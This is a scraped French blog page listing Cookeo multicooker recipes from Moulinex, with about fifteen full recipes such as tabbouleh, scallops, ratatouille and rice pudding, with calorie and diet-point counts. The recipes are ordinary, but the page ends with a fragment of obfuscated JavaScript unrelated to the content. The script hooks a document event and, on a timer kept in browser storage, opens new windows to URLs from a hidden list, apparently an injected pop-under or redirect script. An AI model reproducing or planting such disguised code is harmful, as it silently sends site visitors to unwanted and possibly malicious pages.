170 recettes cookeo du site Moulinex

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• 20 recettes d’entrées
• Entrées ArtichautsAsperges au fromage blanc

  Ballotins de foie gras

  Bouillon aux lettres

  Boulettes de veau et menthe

   Brandade de morue

  Bo bun

  Caviar d’aubergines

  Champignons à la grecque

   Rillettes saumon et wasabi

  Salade haricots blancs

  Salade petit pois radis

  Salade quinoa pêche

   Salade saumon et haricots

   Soupe complète céréales

  Soupe complète aux nouilles

  Soupe de gambas

  Soupe de lait coco aux fruits

• 110 recettes de plats
• 40 recettes cookeo de desserts
• Pour télécharger gratuitement ce PDF CLIQUEZ ICI ou sur les images

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Taboulé thon recette cookeo

200 CALORIES 4 PP 4 SP

Ingrédients pour 4 personnes

200 g de thon frais

250 g de semoule

3 citrons

12 tomates cerises

1 échalote

Persil

2 cuillères à soupe d’huile d’olive

1 cube de bouillon de légumes

250 ml d’eau

50 ml de vin blanc

Sel

Poivre

Préparation

Coupez les tomates cerises en 2

Coupez le thon en morceaux .

Epluchez et coupez l’échalote.

Déposez la semoule dans un saladier.

Pressez les citrons .Lavez et ciselé le persil.

Mode dorer

Versez l’huile d’olive dans la cuve et faites revenir les morceaux de thon quand l’huile est chaude.

Versez un bouillon composé de 250 ml d’eau ,50 ml de vin blanc,1 cube de bouillon de légumes et le jus des 3 citrons pressés

Salez et poivrez selon votre convenance.

Cuisson rapide ou sous pression

Programmez 5 mn

Quand la cuisson est terminée égouttez la cuve au dessus du saladier de semoule . Laissez gonfler la semoule puis déposez dans le saladier ,les morceaux de thon,les morceaux de tomates cerises,les morceaux d’échalote ,le persil ciselé.

Placez au frigo 2 bonnes heures avant dégustation
[youtube https://www.youtube.com/watch?v=7tdNIrhMsmY]
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Noix Saint Jacques weight watchers express cookeo ou sans

185 CALORIES 5 PP 3 SP

La version originale weight watchers propose de flamber les Noix de Saint Jacques au cognac avant de mettre la crème fraîche pour ma part j’ai laissé tomber cette idée pour la version cookeo .

 

Ingrédients pour 4 personnes pour cookeo

600 g de noix de Saint Jacques

2 cuillères à soupe d’huile d’olive

100 g de crème fraîche

1 gousse d’ail

Persil

Sel

Poivre

Préparation au cookeo

Epongez les noix de Saint Jacques sur du papier absorbant. Si les noix de Saint Jacques sont épaisses coupez les  dans le sens de l’épaisseur .

Hachez l’ail et le persil.

Mode dorer

Versez l’huile d’olive dans la cuve . Faites cuire les Saint Jacques 2 à 3 mn sur chaque face .

Ajoutez la crème fraîche et laissez mijoter en fonction dorer 3 mn . Salez ,poivrez .

Ajoutez le hachis ail  persil. Mélangez et servez chaud

 

Ingrédients préparation sans cookeo

600 g de noix de Saint Jacques

2 cuillères à soupe d’huile d’olive

100 g de crème fraîche

1 gousse d’ail

Persil

Sel

Poivre

6 cuillères à café de cognac

Préparation sans cookeo

Epongez les noix de Saint Jacques sur du papier absorbant. Si les noix de Saint Jacques sont épaisses coupez les  dans le sens de l’épaisseur .

Hachez l’ail et le persil.

Versez l’huile d’olive dans une pôele . Faites cuire les Saint Jacques 2 à 3 mn sur chaque face à feu vif

Versez le cognac dans la pôele et faites flamber puis baissez le feu.

Ajoutez la crème fraîche et laissez mijoter 5 mn . Salez ,poivrez .

Ajoutez le hachis ail  persil. Mélangez et servez chaud
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Taboulé poulet citron recette cookeo

230 CALORIES 5 PP 3 SP

Une recette fraîcheur pour nos belles soirées chaudes : un taboulé au citron et au poulet .En plus cette recette propose un nombre de calories modérées.

Ingrédients pour 4 personnes
200 g de semoule
1 citron ( 2 ou 3 pour plus de goût)
400 g d’escalopes de poulet
100 g d’oignons
1 cube de bouillon de volailles
2 cuillères à soupe d’huile d’olive
200 ml d’eau
4 branches de Persil
Pour plus de saveur : de la menthe ciselée et du piment d’Espelette

Préparation
Pressez le ou les citrons . Râpez un peu de zest de citron .
Coupez les escalopes de poulet en morceaux .

Mode dorer
Versez l’huile d’olive dans la cuve et faites revenir les oignons 1 mn
Ajoutez les morceaux de poulet .
Au bout de 2 mn de fonction dorer versez un bouillon composé de 200 ml d’eau ,un cube de bouillon de volailles.
Ajoutez le zeste de citron et le jus de citron .
Salez et poivrez selon votre convenance.

Cuisson rapide ou sous pression

Programmez 5 mn

Quand la cuisson est terminée filtrer la préparation avec un écumoir et un saladier placé dessous Versez le bouillon de la cuisson sur la semoule placée dans un saladier.
Réservez la viande au frigo, et le saladier de semoule pendant 3 ou 4 h.
Sortez la viande et le saladier de semoule du frigo.
Egrener la semoule puis déposez les morceaux de poulet et les oignons dans le saladier .
Déposez le persil sur l’ensemble de la préparation .
Vous pouvez ajoutez du jus de citron au moment de consommer .
[youtube https://www.youtube.com/watch?v=5XgNvfwKXAU]

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Poireaux ricotta recette cookeo

120 CALORIES 3 PP 1 SP

Ingrédients pour 4 personnes

1000 g de poireaux congelés ou frais

2 cuillères à soupe de rizdor ou une dose de safran

1 cube de bouillon de légumes

80 g de ricotta

Sel

Poivre

300 ml d’eau

Préparation

Déposez dans la cuve les poireaux en rondelles.

Versez un bouillon composé de 300 ml d’eau et d’un cube de bouillon de légumes émietté.

Saupoudrez avec le rizdor ou le safran. Salez et poivrez selon votre convenance.

Cuisson rapide ou sous pression

Programmez 6 mn.

Ajoutez la ricotta quand la cuisson est terminée. Mélangez

Servez chaud
https://dailymotion.com/video/x4bdv9e?autoPlay=1

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Pannacotta coulis fruits rouges recette cookeo

Ingrédients

200 ml de lait

200 g de crème fraîche

30 g de sucre

2,5 de feuilles de gélatine

1 cuillère à soupe d’extrait de vanille

Coulis de fruits

Préparation

Mettez les feuilles de gélatine  dans un bol d’eau pour les ramollir.

Mode dorer

Versez le lait ,le sucre et la crème fraîche et portez à ébullition .

Arrêtez la fonction dorer puis ajoutez les feuilles de gélatines ramollies et mélangez jusqu’à dissolution des feuilles.

Répartissez la préparation dans des récipients et placez au frigo pendant ‘ à 6 h .

Au moment de déguster versez du coulis de fruits sur le dessus des récipients
https://dailymotion.com/video/x6iqcym?autoPlay=1 [youtube https://www.youtube.com/watch?v=A66_1LKy4rY]
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Liste des 150 recettes progammées dans le cookeo +

On me l’a demandé il y a dèjà quelques temps alors voici le récapitulatif des recettes programmées dans le cookeo + 150 recettes. Vous trouverez toutes ces recettes sur le site de Moulinex en suivant ce lien 

Entrés

Brandade de morue
Brocoli aux amandes

Calamars à la tomate

 Carottes carbonara

Carottes glacées

Caviar d’aubergines

Champignons à la grecque

Champignons au fromage

Chaudrée de légumes

 Citrouille à l’orange

 Clafoutis carotte mais fromage

Crème de poireaux aux cèpes

 Flan au jambon et moutarde

Flan de courgettes

Foie gras au confit de figue

Gâteau de riz et légumes

Gnocchis champignon jambon

 Gnocchis tomate et safran

Humus

Indian one pot pasta

 Minestrone

 Minestrone express aux crabes

Oeufs cocotte aux artichauts

Oeuf cocotte tomate mozzarella

Pain de saumon et litchi

Pains au thon individuel

 Pois chiches et champignons

 Pommes de terre écrasée

 Purée aux herbes et citron

Rillettes saumon et wasabi

Risotto du placard

Risotto petit pois menthe

Salade aux trois haricots

Salade de blé à la libanaise

 Salade de quinoa à l’orange

Salade de riz aux crevettes

 Salade saumon et haricots

 Soupe à l’oignon et brocoli

 Soupe à la mode chinoise

Soupe de lentilles et lardons

Soupe maïs et crabe

Soupe miso

Tortellini épinards ricotta

Velouté de potimarron

Plats

Andouillettes au vin blanc
Blanquette de veau

Bœuf pommes de terre

Bœuf à la Catalane

Bœuf bourguignon

Boudins blanc pommes poireaux

Cabillaud en dal de lentilles

 Canard aux agrumes

Carbonara chic canard

Chili con carne

Colin aux petites crevettes

Colin sauce curry

Coquelet en pot-au-feu anisé

Coquillettes aux légumes

 Coquillettes volailles fromage

Courgettes farcies

 Couscous de la mer

Crevettes à la coriandre

Crevettes au court-bouillon

Curry de volaille

 Dinde à la moutarde

Echine de porc au xérès

Emincé de porc aux poivrons

Espadon et Saint-Jacques

 Goulash à la hongroise

 Hachis parmentier andouillette

 Lapin à la bière

Lapin aux olives

 Lapin aux pruneaux

Lotte à l’américaine

Lotte chermoula

Mafé de volaille

Magret de canard au pêche

Maquereau miso

Merlu au court bouillon

 Mignon de porc à la papaye

 Moules marinières

Navarin d’agneau printanier

 Oeufs brouillés

 One pot pasta pizza style

 Osso bucco aux raisins

 Paleron de bœuf à la bière

Paupiette sauce chinoise

Pilons de poulet pois-chiche

Pilons de poulet tomate

 Pois-chiche végétarienne style

Poitrine de porc à la chinoise

Porc aux crevettes

 Poulet au curry vert

Poulet au riz

Poulet aux artichauts

Poulet balsamique

Purée de chou-fleur saucisson

Quenelles sauce roquefort

Risotto aux potiron

Riz à la japonaise

Riz au curry

Riz au veau et miel

Riz en rougail de la mer

 Riz indien au poulet

Rôti de bœuf à la moutarde

 Rôti de porc à l’ananas

 Rôti de veau aux légumes

 Rôti de veau carottes pruneaux

Saumon au safran

Saumon maïs et petits pois

Saumon sauce asperge blanche

Saumon sauce aux poivrons

Soupe de gambas

Tacos au bœuf

Tagliatelles au thon et tomate

Tajine d’agneau aux dattes

Tartiflette Express

Tortellini jambon et parmesan

Vermicelles de riz crevettes

 Vol-au-vent

Volaille aux marrons

Volaille chou-fleur moutarde

Volaille haricots verts cajou

Volaille sauce pissalardiere

Volaille semoule et courgettes

Desserts

Ananas au sirop

Brioche perdue en pudding

Cheesecake chocolat orange

Cheesecake traditionnel

 

Compote de fruits

Compote poire banane

Compote poire marron

 Crème à la confiture de lait

Crème dessert à la vanille

 Crème légère au chocolat

Crème renversée au chocolat

Crémeux compote de pommes

Douceur de polenta

Flan au lait de coco

Moelleux au chocolat

Oreillons d’abricots vapeur

Petist pots haut de chèvre

 Poires aux épices

Pots de crème au chocolat

 Pudding au pain d’épices

 Pudding au marron

Soupe de lait coco aux fruits

 soupe de madeleines au citron

 Terrine de poires et épices

 

 

 

 

 

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Ratatouille merguez recette cookeo

Ingrédients pour 4 personnes

8 merguez

400 g de tomates

400 g de courgettes

400 g d’aubergines

1 poivron rouge

1 oignon

100 ml de vin blanc

100 ml d’eau

1 cube de bouillon de légumes ou de bœuf

1 gousse d’ail

Sel

Poivre

Herbes de Provence

1 cuillère à soupe de concentré de tomates

 

Préparation

Epépinez et coupez le poivron en morceaux

Coupez l’oignon en morceaux

Coupez les tomates en morceaux

Lavez et coupez les courgettes en morceaux

Coupez l’aubergine en morceaux

Mode dorer

Faites revenir les merguez dans la cuve .

Ajoutez au bout de 2 mn les oignons et l’ail coupé en morceaux

Faites revenir environ 2 mn puis  ajoutez les aubergines ,les courgettes,les tomates,le poivron (bien sûr tout cela en morceaux ).

Versez le bouillon composé de 100 ml, de vin blanc ,100 ml d’eau ,d’un cube de bouillon émietté.

Salez et poivrez .

Saupoudrez d’herbes de Provence

Cuisson rapide ou sous pression

Programmez 8 mn

Quand la cuisson est terminée ajoutez une cuillère à soupe de concentré de tomates ,mélangez et servez chaud
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Clafoutis aux pommes style weight watchers

230 CALORIES 5 PP 5 SP

Voici une recette inspirée d’une recette weight watchers . La recette originale est réalisée avec des pêches .

Ingrédients pour 6 personnes

4 pommes

2 cuillères à soupe d’arôme de fleur d’oranger

80 g de maizena

10 g de sucre en poudre

1 cuillère à soupe de miel liquide

2 œufs

200 ml de crème fraîche allégée

200 ml de lait écrémé

Préparation

Coupez les pommes en morceaux et déposez les dans un moule anti-adhésif.

Préchauffez le four à 200 degrés .

Dans un saladier ,mélangez la maïzena, les œufs,le lait,la crème fraîche,le sucre,la fleur d’oranger et le miel.

Versez la préparation sur les morceaux de pommes .

Enfournez pour 35 à 40 mn .

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Polenta aux champignons au cookeo

Une recette de polenta pour changer un peu de nos traditionnelles pâtes , riz et purée . Cette recette devrait plaire à toute la famille .

Ingrédients pour 4 personnes

260 g de polenta

200 g de champignons de Paris

100 g d’oignons

2 cuillères à soupe d’huile d’olive

1 cube de bouillon de bœuf

1,250 l d’eau

Sel

Poivre

Persil

Mode dorer

Versez l’huile d’olive dans la cuve puis quand l’huile est chaude faites revenir les oignons puis les champignons .

Ajoutez la polenta et un bouillon composé de 1,250 l d’eau et d’un cube de bouillon de bœuf émietté.

Salez et poivrez selon votre convenance. Ajoutez le persil

Cuisson rapide ou sous pression

Programmez 5 mn . Servez chaud
[youtube https://www.youtube.com/watch?v=zgpbiUpyA70]

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Crème aux oeufs caramel recette cookeo

Ingrédients pour 5 pots

500 ml de lait entier

60 g de sucre en poudre

3 jaunes d’œufs

2 œufs entiers

1 sachet de sucre vanillé

Nappage caramel

Préparation

Séparez le blanc des jaunes pour 3 œufs.

Déposez les jaunes d’œuf dans un saladier et fouettez avec le sucre en poudre et le sucre vanillé.

Ajoutez ensuite les 2 œufs entiers et mélangez.

Versez le lait entier et mélangez également.

Versez la préparation dans des pots de yaourt ou des récipients de votre choix.

Filmez vos récipients.

Versez 200 ml d’eau dans la cuve du cookeo.

Déposez les récipients dans le panier vapeur.

Cuisson rapide ou sous pression

Programmez 15 mn.

Quand la cuisson est terminée passez en maintien au chaud pendant 10 mn couvercle fermé.

Laissez ensuite refroidir à l’air libre puis au frigo.

Au moment de servir versez une cuillère à soupe de caramel dans chaque pot et dégustez.

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Couscous merguez légumes express

Ingrédients pour 4 personnes

1 kg de légumes à couscous congelés (carottes, oignons, tomates, céleri, navets achetés à Leclerc)

4  à 8 merguez

100 g d’oignons

400 ml d’eau

1 cube de bouillon de légumes

1 cuillère à soupe de ras el hanout

2 cuillères à soupe d’huile d’olive

Sel poivre

Préparation

Coupez les merguez en tronçons

Mode dorer

Déposez les tronçons de merguez dans la cuve avec les oignons puis faites revenir 2 à 3 mn quand le préchauffage est terminé.

Déposez dans la cuve les légumes à couscous ;

Versez 400 ml d’eau avec un cube de bouillon de légumes émietté.

Saupoudrez avec la cuillère à soupe de ras el hanout

Salez et poivrez

Cuisson rapide ou sous pression

Programmez 5 mn

Servez Chaud avec une semoule que vous préparez selon les indications du paquet
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Riz au lait recette cookeo

Ingrédients

500 ml de lait entier

150 g de riz rond

50 g de sucre roux

1 sachet de sucre vanillé

2 œufs

2 Cuillères à soupe d’arome vanille ou une gousse de vanille

Préparation

Si vous utilisez une gousse de vanille fendez la gousse de vanille .

Rincez le riz sous l’eau et égouttez le .

Déposez le riz dans la cuve .

Versez le lait .

Ajoutez le sucre et le sucre vanillé dans la cuve et mélangez.

Ajoutez la cuillère à soupe d’arôme vanille ou la gousse de vanille .

Cuisson rapide ou sous pression

Programmez le temps indiqué sur le paquet de riz rond divisé par 2 .

Quand la cuisson est terminée passez en maintien au chaud et cassez les 2 œufs dans la cuve . Mélangez pendant 3 mn puis versez le contenu de la cuve dans un récipient de votre choix.

Laissez refroidir et placez au frigo ou alors consommez tiède .
[youtube https://www.youtube.com/watch?v=nZZITR9zs3Y]
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Boudins aux pommes recette cookeo

Ingrédients pour 4 personnes

4 boudins noirs

600 g de pommes de terre

4 pommes

100 g d’oignons

2 cuillères à soupe d’huile d’olive

Sel

Poivre

200 ml d’eau

Préparation

Epluchez et coupez les pommes de terre et les pommes  en morceaux.

Piquez les boudins avec une fourchette

Mode dorer

Versez l’huile d’olive dans la cuve puis faites dorer 2 mn les oignons quand l’huile est chaude .

Ajoutez ensuite les pommes et faites les revenir pendant 2 mn .

Ajoutez les morceaux de pommes de terre et les boudins .

Salez et poivrez selon votre convenance.

Versez l’eau dans la cuve.

Cuisson rapide ou sous pression

Programmez 4 mn

Servez chaud

https://dailymotion.com/video/x5m81zy?autoPlay=1

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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());